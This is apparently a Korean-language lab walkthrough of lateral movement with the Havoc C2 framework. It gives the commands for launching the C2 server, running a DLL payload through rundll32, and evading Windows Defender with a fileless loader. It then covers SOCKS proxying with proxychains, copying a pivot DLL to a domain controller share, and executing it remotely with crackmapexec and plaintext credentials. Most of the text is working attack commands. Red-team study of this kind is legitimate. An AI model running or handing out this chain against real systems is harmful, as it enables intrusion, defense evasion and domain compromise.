Security

Lateral Movement With Havoc C2

Lateral Movement With Havoc C2

In this document, the following attack scenarios were covered:

  • Lateral Movement With Havoc C2
  • How to bypass Windows Defender By C++ Loader (HAVOC)

1. Havoc 실행

havoc server 를 실행하자.

Copy
./havoc server --profile ./profiles/havoc.yaotl -v --debug

havoc client 를 실행하자.

Copy
./havoc client

아래 그림 처럼 Http 와 smb (pivot 용) lister 를 만들자

Test Image

Test Image

아래 그림 처럼 payload 를 만들자.

Test Image

Test Image

exe 파일이 만들어 지는데 aes.py 를 이용해 key.bin 과 cipher.bin 로 변환하자.

target window(10.0.2.6, 192.168.50.191) 에서 아래 명령어로 세션을 만들자.

Copy
rundll32 a.dll, Dll220

Test Image

참고로 windows defender 를 우회하기 위해 Fileless PELoader 를 이용했다.

연결이 완료 됬다.

2. havoc 외부 cme를 위한 proxy server 실행

이제 havoc 외부에서 cme 실행을 위해 proxy server 를 실행하자.

Copy
socks add 1081

아래 설정 파일을 확인해 보자.

Copy
nano /etc/proxychains4.conf

아래 내용을 확인하자.

proxychains4.conf
Copy
socks5 127.0.0.1 1081

아래 명령어를 이용하면 1081 포트에서 listen 을 확인할수 있다.

Copy
netstat -tulpn

3. havoc smb pivot

dc 로 smb pivot payload 를 전송하기 위해 havoc 에서 다음 명령어를 실행하자.

Copy
shell copy C:\Users\bross\desktop\b.dll \\\\10.0.2.7\C$\b.dll

복사가 완료 됬다.

이제 b.dll (smb pivot) 실행하자.

그런데 havoc shell 로는 실행이 잘 안되다. 🥲

cme 를 이용해서 payload 를 실행하자.

Copy
proxychains crackmapexec smb 10.0.2.7 -u bross -p "mypassword1\!" -x "cmd.exe /k C:\\Windows\\System32\\rundll32 C:\\b.dll, Dll220"

이제 havoc 에서 다음 명령어를 입력하자.

Copy
pivot connect 10.0.2.7 test

아래 그림처럼 dc 에 대한 연결이 생성 됬다. 😄

Test Image

Test Image

Reference